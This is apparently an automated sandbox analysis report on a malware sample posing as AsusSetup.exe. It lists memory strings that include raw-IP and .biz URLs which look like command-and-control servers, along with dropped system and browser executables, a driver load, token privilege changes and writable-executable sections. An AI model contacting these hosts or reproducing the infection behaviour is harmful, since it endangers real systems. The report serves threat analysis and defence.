Source: alg.exe, 00000003.00000003.2179509377.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/
Source: alg.exe, 00000003.00000003.2745895344.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/8
Source: alg.exe, 00000003.00000003.2823223980.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2841048769.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2894777095.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2865815201.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2852591845.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2908261913.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2882002918.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/bdnjndwcxvdfjwtD
Source: AsusSetup.exe, 00000000.00000003.2170515807.000000000052B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/ea
Source: alg.exe, 00000003.00000003.2179509377.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2179863337.0000000000599000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2179107038.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/juldvutdr
Source: alg.exe, 00000003.00000003.2745895344.0000000000596000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/swl
Source: alg.exe, 00000003.00000003.2179509377.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/t
Source: alg.exe, 00000003.00000003.2224451831.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2207368852.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2216657614.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/fwyvvonbganP
Source: alg.exe, 00000003.00000003.2755453879.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745895344.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/swls
Source: alg.exe, 00000003.00000003.2610742112.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2590844447.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2628578361.000000000057D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/
Source: alg.exe, 00000003.00000003.2590844447.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/tkrvouqomflftlqp
Source: alg.exe, 00000003.00000003.2610742112.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2590844447.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2628578361.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/bdrtsxymflftlqp
Source: alg.exe, 00000003.00000003.2505034831.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/tkrvouqomflftlqp
Source: alg.exe, 00000003.00000003.2590844447.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2505034831.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/uuoiubsg
Source: AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pywolwnvd.biz/
Source: alg.exe, 00000003.00000003.2307234515.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: alg.exe, 00000003.00000003.2757343877.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: setup.exe1.3.dr	String found in binary or memory: https://clients2.google.com/cr/report
Source: alg.exe, 00000003.00000003.2343619064.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxFailed
Source: alg.exe, 00000003.00000003.2344356497.0000000001540000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2344146987.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxHKEY_LOCAL_MACHINE
Source: alg.exe, 00000003.00000003.2757401018.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: setup.exe1.3.dr	String found in binary or memory: https://crashpad.chromium.org/
Source: setup.exe1.3.dr	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: setup.exe1.3.dr	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: alg.exe, 00000003.00000003.2739269535.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1
Source: alg.exe, 00000003.00000003.2739269535.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1MaybeMigrateVersion1118.0.1.0in
Source: alg.exe, 00000003.00000003.2757457724.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: alg.exe, 00000003.00000003.2757457724.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881118.0.1
Source: alg.exe, 00000003.00000003.2739562117.0000000001540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/default-browser-agent/default-browser/1/Hash
Source: alg.exe, 00000003.00000003.2757167546.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: setup.exe1.3.dr	String found in binary or memory: https://support.google.com/chrome/?p=usage_stats_crash_reports
Source: setup.exe1.3.dr	String found in binary or memory: https://support.google.com/chrome?p=chrome_uninstall_surveymicrosoft-edge:open..

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\9fbf4662b248c49c.bin

Jump to behavior

Source: C:\Users\user\Desktop\AsusSetup.exe	Code function: 0_2_02002ED0	0_2_02002ED0
Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_00C12ED0	7_2_00C12ED0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D52ED0	10_2_00D52ED0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009C2ED0	11_2_009C2ED0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_00C32ED0	12_2_00C32ED0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Jump to behavior

Source: AsusSetup.exe	Static PE information: Resource name: DLL type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: AsusSetup.exe	Static PE information: Resource name: DLL type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: Resource name: BL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 1522998 bytes, 1 file, at 0x2c +A "setup.exe", number 1, 133 datablocks, 0x1203 compression
Source: Acrobat.exe.3.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: Resource name: 7Z type: 7-zip archive data, version 0.4
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: Resource name: 7Z type: 7-zip archive data, version 0.4
Source: OneDriveSetup.exe.3.dr	Static PE information: Resource name: PAYLOAD type: Microsoft Cabinet archive data, many, 47694794 bytes, 767 files, at 0x44 +A "adal.dll" +A "alertIcon.png", flags 0x4, number 1, extra bytes 20 in head, 6100 datablocks, 0x1503 compression

Source: identity_helper.exe.3.dr	Static PE information: Number of sections : 12 > 10
Source: ie_to_edge_stub.exe.3.dr	Static PE information: Number of sections : 11 > 10
Source: msedge_proxy.exe0.3.dr	Static PE information: Number of sections : 12 > 10
Source: elevation_service.exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: notification_click_helper.exe.3.dr	Static PE information: Number of sections : 13 > 10
Source: pwahelper.exe0.3.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_proxy.exe.3.dr	Static PE information: Number of sections : 12 > 10
Source: setup.exe.3.dr	Static PE information: Number of sections : 13 > 10
Source: elevation_service.exe0.0.dr	Static PE information: Number of sections : 12 > 10
Source: msedgewebview2.exe.3.dr	Static PE information: Number of sections : 14 > 10
Source: pwahelper.exe.3.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: Number of sections : 13 > 10

Source: AsusSetup.exe, 00000000.00000003.2170935877.0000000002B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDiagnosticsHub.StandardCollector.Service.exeD vs AsusSetup.exe
Source: AsusSetup.exe, 00000000.00000003.2150492355.0000000003080000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs AsusSetup.exe
Source: AsusSetup.exe, 00000000.00000003.2192482783.0000000002B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemaintenanceservice.exe0 vs AsusSetup.exe
Source: AsusSetup.exe, 00000000.00000003.2154412690.0000000002B00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs AsusSetup.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: AsusSetup.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroTextExtractor.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADelRCP.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateCore.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateOnDemand.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateSetup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate32.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVLP.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OneDriveSetup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADNotificationManager.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeCollabSync.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WCChromeNativeMessagingHost.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: AsusSetup.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
